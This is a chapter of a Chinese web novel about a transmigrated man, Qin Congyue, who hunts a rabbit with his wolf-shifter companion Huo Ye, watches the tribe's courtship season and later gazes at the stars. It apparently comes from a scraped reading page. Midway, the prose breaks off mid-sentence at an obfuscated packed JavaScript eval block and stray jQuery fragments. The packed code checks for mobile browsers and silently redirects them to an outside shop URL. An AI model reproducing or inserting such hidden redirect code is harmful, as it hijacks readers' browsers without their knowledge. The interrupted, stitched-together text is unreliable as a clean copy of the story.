秦从越坐在狼背上,看着面前的草原。
可能是这里的土地比较肥沃,草也长得非常茂盛,郁郁葱葱又杂乱无章的。
他从狼背上下来,霍野变成人,指着不远处的一处地方对他说:
“看那。”
秦从越向着霍野指的地方看过去,在一片绿色的杂草间,有一丛灰色的毛。
“这是?”秦从越扭头看霍野。
“是兔子。”
霍野伸手把秦从越背上的弓摘下来,塞进他手里。
“试试。”
“我?我能射中吗?”
“你不是已经练的很准了?试一试。”
秦从越握紧弓身,有些忐忑。
他是练了两个月了,但是他一直在射木桩啊,从来没射过活物。
“那兔子在吃东西,暂时不会动,机会就在这一会儿。”
深吸一口气,秦从越还是拿起了弓。
一手握紧弓臂,另一只手从箭袋里抽出一支箭,秦从越像往常练习那样,熟练轻巧地把箭搭上去。
挺胸抬头,背上的肌肉绷紧发力,腰部转动,秦从越用身体带动手臂,平稳地慢慢拉开手上的弓。
他微微抬起下巴,眯起眼睛,像一只高傲的鸟,用手里的箭瞄准了不远处的猎物。
时间好像过了很久,又好像没过多久,在最后一点夕阳余晖中,有风吹过原野。
地里的草叶随风摆动,草丛里的猎物若有所感的抬起脑袋,两只灰色的耳朵冒了出来。
它和秦从越对上了视线。
转身想要逃跑。
就是现在!
秦从越突然松开了拉着弓弦的那只手,手里的箭急射而出,带着凛凛的破空声,没入草地。
风从太阳的方向吹过来,霍野翕动鼻翼:
“中了。”
这一声,把秦从越从刚刚那种专注的状态里唤醒,他小跑两步,去箭的落点查看。
那是一只灰色的兔子。
不算锋利的石制箭头从它的侧腹扎进去,扎透了它最脆弱的肚皮,带走了它的生命。
秦从越提着那只兔子的后颈把它抓起来,向着霍野轻摇手臂。
“看!”
秦从越的第一次单人狩猎大获成功!
阴霾似乎又消散了。
霍野觉得,秦从越似乎有什么神奇的力量。
他总能轻易地调动起周围的情绪,快乐、悲伤、敬佩……
他有一颗强劲的心脏,有高洁的灵魂,既懂得怜悯,又从不缺乏热血。
霍野看到秦从越提着兔子,脸上带着兴奋向他走来,也控制不住笑起来。
“今天晚饭就吃这个吧。”霍野指了指兔子。
“好啊!那今天应该算我请你吃饭。”
太阳落山很快,马上就要黑天了。
秦从越把弓背好,提上兔子,翻身上了狼车。
等到了河边时,他们停下来,把兔子身上的箭扒出来洗干净,顺带把兔子也处理了。
“看来我的训练没有白费。”秦从越搓洗着箭头说。
“努力了自然会有好结果,这次没有好结果,下次也会有。”霍野蹲在他旁边,变出狼爪处理兔子。
“你知道这叫什么吗?”
“这叫什么?”
“这叫事物的发展总是曲折前进的。”
霍野:“?”
他怎么听得懂,又好像听不太懂。
“这是一个哲学理论,大概意思就是,你努力了一段时间,又回到了原点,看似回到原点,其实有了很大的进步。”
霍野还是不懂。
秦从越很有耐心,他慢慢给霍野解释:
“你看,部落里的大家,最开始都是为了逃离兽潮才聚集到一起的对吧,但是今年冬天兽潮又要来了,从结果上看,大家其实并没有逃离兽潮,这就是回到了原点。但是今年冬天的兽潮,所有人会一起做好准备迎接,我们会修建陷阱和围墙,会加固房子,这就是前进。”
霍野听的有点似懂非懂,他低下头沉思。
“很高深的智慧,其实我也不太懂,”秦从越把洗干净的箭放进箭袋,“我也学的不是很明白,哲学真是太难了。”
霍野郑重的点头。
这真的是很高深的智慧,想要彻底明白,或许要等自己杀不动猎物时。
收拾好兔子,天色已经完全黑了,两个人谁也不着急,一起慢慢地走回部落。
很多兽人都已经吃完了,他们围着篝火,唱起不知从哪里传出来的歌谣。
“赞美大地”
“赞美天空”
“赞美高山和河流”
“赞美森林和草原”
“赞美漂亮的兽人姑娘!”
“笨蛋,你唱错了!”
……
天气渐渐温暖起来,许多兽人们开始寻找配偶,晚上的部落越来越热闹,秦从越天天都能看到有兽人红着脸收下其他兽人递上来的礼物。
有漂亮的羽毛和猎物,还有陶碗和蜂蜜。
秦从越看到周蜜把一个竹筒递给了一个漂亮的兽人姑娘。
他认得那个竹筒,周蜜每次来找他换蜂蜜,就会把这个竹筒带来。
怪不得他很久没看到周蜜吃蜂蜜了,原来这段时间都被周蜜攒起来追姑娘了。
秦从越看到那个漂亮的兽人姑娘接过蜂蜜,对着周蜜不知道说了什么,然后周蜜的脸就红了。
兽人们真是单纯又可爱。
忽然,那姑娘对着周蜜的脸亲了一口,转身就走。
秦从越:纯爱战士应声倒地。
母胎单身24年的秦从越,看到这一幕,好像忽然被人踹了一脚。
祝福都在心里了,下次换蜂蜜多给周蜜一点好了,就当份子钱。
他把手里的兔子放在火上,轻轻转动。
他想起了那朵不知道掉在哪里的花。
秦从越是个比较慢热,又比较封闭的人。
看起来对谁都好,其实很难有人走进他的心里,所有他其实是个很孤单的人。
那个送他的花的兽人姑娘固然很好很漂亮,但是他不会就这样稀里糊涂地和人在一起。
他已经习惯了孤独。
“又在想什么?”
忽然,霍野回来了,手里还拿着一块肉。
他把肉放在火上,转头看着秦从越。
金色的眸子在昏暗的环境里映着星光和火焰,好像有什么魔力,看的秦从越没来由的心慌。
好像整个人都被剖开了、揉碎了、被人看透了。
他匆忙收拾起散落一地的情绪:
“在想最近有好多兽人在……求偶。”
作为一个活了24年的人类,秦从越还是很难把这种场面叫做求偶。
霍野微微眯眼看了他一眼,慢吞吞地说:“因为雨季快来了,兽人都不喜欢在雨季出门,所以打算在雨季前找个伴侣陪伴。”
“原来是这样。”秦从越顿了顿:“你不找吗?”
霍野摇头,却没告诉秦从越原因。
远处的大
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105546|149655||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
广场热闹非凡,秦从越和霍野在的小广场却无人说话。
一片安静里,只有油滋滋作响和火星飞溅的声音。
两人就在这样静谧的环境里静静烤着肉,没有一丝尴尬。
秦从越想起来自己之前看过的段子:
当你和一个朋友独处,都不说话,还不觉得尴尬时,那就说明你们是好朋友了。
这么看的话,他跟霍野应该算的上好朋友了。
微微偏头,看向霍野。
霍野也偏过头看他。
秦从越忽然就莫名其妙笑了出来:
“如果有酒就好了,这个时候,就适合喝点酒。”
“酒?”
“一种很神奇的水。”
“你喜欢喝?”
“我不喜欢。”秦从越摇头,“但是总会有那么一个瞬间,气氛正好,适合喝酒。”
“你会做吗?”霍野被勾起了兴趣。
“会。在我部落,我在的那个地方附近,就有一个大酒厂。那里很多人都会酿酒,我也跟他们学过。”
“那你要酿吗?”
“要的。”秦从越点头,翻动手里的兔子,“酒不光能喝,还能处理伤口。”
“等你酿好了,让我尝一尝?”
“没问题!”
酒是个很神奇的东西,让人又爱又恨的,我可以不喝,但是不能没有。
本来秦从越就打算用收来的小麦酿酒。
酒精也是工业化很重要的一步。
虽然现在提工业化还有点久远。
两个人吃完饭,熄灭篝火,看着远处还非常热闹的大广场,霍野问秦从越:
“要过去玩玩吗?”
秦从越看看大广场,透过摇曳的火焰,他好像看到了熟悉的万家灯火。
垂下眼睛,秦从越轻轻摇头:
“不了。”忽然,他好像又想起什么:“我们去训练场那边躺一会吧。”
“行。”
训练场的干草很柔软,周围也比较空旷,秦从越躺在干草上,把手臂枕在脑后,看着满天繁星。
霍野也在他旁边躺下来。
秦从越忽然开口:“你们都很好奇我的部落,但是我真的回不去了。”
霍野没有开口。
“因为我也不知道我的家在哪里。它可能就在这些星星中,也可能在更遥远的地方。”
“我的爸爸妈妈很爱我,他们从不给我什么压力,我很感谢他们。”
“他们从不要求我做出什么事情,只要求我做一个人应该做的。”
“他们教会了我很多。”
秦从越不说话了,只专注看着天上的星星。
霍野转头看他,只能感觉到他的情绪很平静,没有悲伤。
“或许我应该彻底放下了。”秦从越的声音很轻,听起来像是从很远很远的地方飘过来的,“人生总是有各种各样的遗憾,爱别离、怨憎会、求不得,我不能一直被这种情绪掌控,不能一直占用你的时间来解决我自己的问题。”
秦从越坐起来,看着还在干草上躺着的霍野:
“我也该有新的生活和新的开始。”他做了一个拉弓的姿势,“也该有新的追求。”
“狩猎真的很有意思,我要做一个厉害的猎人。”
霍野躺在地上,仰视着面前的秦从越。
他的背后是森林和草原,是月亮和星星。
他第一次感觉到,这个来自远方的漂泊灵魂终于彻彻底底的在这片土地上扎根。
“好。”他点头。